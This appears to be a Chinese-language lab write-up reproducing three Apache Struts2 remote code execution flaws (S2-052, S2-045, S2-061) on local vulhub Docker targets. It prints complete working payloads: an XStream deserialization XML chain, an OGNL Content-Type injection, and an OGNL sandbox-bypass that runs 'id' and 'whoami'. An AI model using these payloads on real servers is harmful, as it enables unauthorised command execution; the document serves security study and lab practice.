Struts2的几个漏洞复现

一、环境准备

首先使用docker搭建vulhub环境(这里使用的是ubuntu)

1、下载vulhub

 git clone https://github.com/vulhub/vulhub.git 

2、安装docker-compose

apt install docker-compose

二、漏洞复现

1、复现S2-052漏洞

1.1漏洞原理：

S2-052漏洞原理：

启用Struts  REST插件并使用XStream组件对XML进行反序列操作时，未对数据进行有效验证，可进行远程代码执行攻击。

1.2漏洞复现

（1）切换到S2-052目录下

cd vulhub/struts2/s2-052

 (2)修改映射端口号为8082

vim docker-compose.yml    //修改文件

cat docker-compose.yml    //查看是否修改成功

(3)启动docker

docker-compose up -d

以上图片可以看到运行成功

（4）在浏览器中查看此虚拟机的8082端口

          http://192.168.61.147:8082

(5)进入id为3的edit界面，burpsuite抓包。

(6)send to repeater，修改数据包：

将Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml

将请求体内容_method=put&clientName=Bob&amount=33改为：

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>touch</string>

                        <string>temp/zhengranran.txt</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

点击go:

(7) docker ps 查看靶场容器ID(记住前四位)

进入容器

docker exec -it 6ff4 /bin/bash

（8）ls /tmp 查看文件创建成功

2、复现s2-045漏洞

2.1漏洞原理

文件上传模块在处理文件上传的请求时候对异常信息做了捕获，并对异常信息做了 OGNL表达式处理。可通过注入OGNL语言进行命令执行。

2.2漏洞复现

（1）切换目录，修改映射端口号为8084。

cd vulhub/struts2/s2-045

(2) docker-compose up -d 启动。

(3) 访问：http://192.168.61.147:8084

(4)点击submit，burpsuite抓包。

(5)send to repeater：

将Content-Type: multipart/form-data; boundary=---------------------------862674606196141771994536450

改为Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',120*120)}.multipart/form-data

go启动

3、复现s2-061漏洞

3.1漏洞原理

漏洞缘于对输入验证不足，导致在计算原始用户输入时强制进行两次Object Graph Navigation Library（OGNL）计算。

当在Struts标签属性中强制使用OGNL表达式并可被外部输入修改时，攻击者可构造恶意的OGNL表达式触发漏洞。

3.2漏洞复现

(1) 切换目录；修改映射端口为8085。

cd vulhub/struts2/s2-061

(2) docker-compose up -d 启动。

(3) http://192.168.200.116:8085

(4)验证漏洞是否存在：在url中输入：

http://192.168.200.116:8085/?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

按F12查看元素发现”est22”,说明存在漏洞。

(5)构造payload执行命令

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}

以上就是三个漏洞完整的复现过程，如有不足请指出！